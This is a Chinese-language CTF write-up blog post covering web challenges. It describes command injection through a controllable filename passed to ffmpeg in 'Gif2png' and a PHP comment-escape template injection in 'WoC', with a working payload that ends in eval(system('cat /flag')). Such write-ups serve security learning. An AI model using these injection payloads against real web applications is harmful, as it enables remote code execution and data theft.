Author:颖奇L’Amore
Blog:www.gem-love.com
被队友带躺的舒舒服服,第一天晚上因为临时有事做完web1就走了,一觉醒来web被ak了,然后就看着xmcp大哥单刷了好几个乱七八糟分类的题,还拿了一个Hard的一血,wtcl
最后是拿了总榜第四、中国第一,队友tql!
Hunt
一开始我以为像rgbCTF的web1那样,如果需要的时间很短,那么应该用js模拟一下鼠标事件。不过我还是决定去试一试,然后随便一点就在几秒钟内点到了5个验证码,直接出了flag,太签到了
Gif2png
solved by [email protected]
一开始我没看到题目给了源码一通瞎测,然后队友直接solve,我才发现有源码。确实很简单,用了ffmpeg,文件名可控,所以直接命令注入。
问题在于,没有回显,又不出网。所以可以把文件复制到我们能访问的地方去,看这个路由:
所以把文件拷贝到uploads/uid下来即可,uid会在上传时候给你返回的。
$()
和``
一样的作用,用来执行命令,再用||
分隔一下,利用base64编码来执行任意命令。
读main.py即可得到flag。
WoC
solved by Hpdoger@r3kapig
newtemplate.php可以新建模板,然而要求了不能含有<?
在calc.php中能够把html模板保存成一个php文件,其中有php的短标签<?=
,而$field
也是我们可控的
所以我们只需要通过特定构造的$field
与后文一起构造一个多行注释,让代码最终为<?=json_encode(string(something));eval(your_code_here);
即可
<html>
<head>
<meta charset="utf-8">
<title>hpdoger-4<title>
<head>
<input type="text" class="part" id="field" name="field" >
<input type="button" class="part" id="digit0" data-append="0" >
<input type="button" class="part" id="digit1" data-append="1" >
<input type="button" class="part" id="digit2" data-append="2" >
<input type="button" class="part" id="digit3" data-append="3" >
<input type="button" class="part" id="digit4" data-append="4" >
<input type="button" class="part" id="digit5" data-append="5" >
<input type="button" class="part" id="digit6" data-append="6" >
<input type="button" class="part" id="digit7" data-append="7" >
<input type="button" class="part" id="digit8" data-append="8" >
<input type="button" class="part" id="digit9" data-append="9" >
<input type="button" class="part" id="plus" data-append=" + " >
<input type="button" class="part" id="minus" data-append=" - " >
<input type="button" class="part" id="times" data-append=" * " >
<input type="button" class="part" id="div" data-append=" " >
<input type="button" class="part" id="point" data-append="." >
<input type="button" class="part" id="clear" >
<input type="button" class="part" id="back" value="← Back" >
<input type="submit" class="part" id="share" name="share" value="Share" >
<input type="submit" class="part" id="equals" >
<form>
<td><tr><table>
<body>
<html>*/;eval(system('cat /flag'))?>
新建模板后能够得到$uuid.html
,再去share得到新的$calc.php
,$field
构造为:
/*((*/1))/*
之后文件就会变为
<script>var preloadValue = <?=json_encode((string)(/*注释*/1))/*注释*/;eval(system('cat /flag'))?>
这样,利用多行注释闭合了json_encode()
的同时也让php命令从中逃逸出来成功执行,得到flag
Developer’s Laptop
solved by Hpdoger@r3kapig
准备写wp,发现环境已经关了,算了算了
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://www.gem-love.com/ctf/2526.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示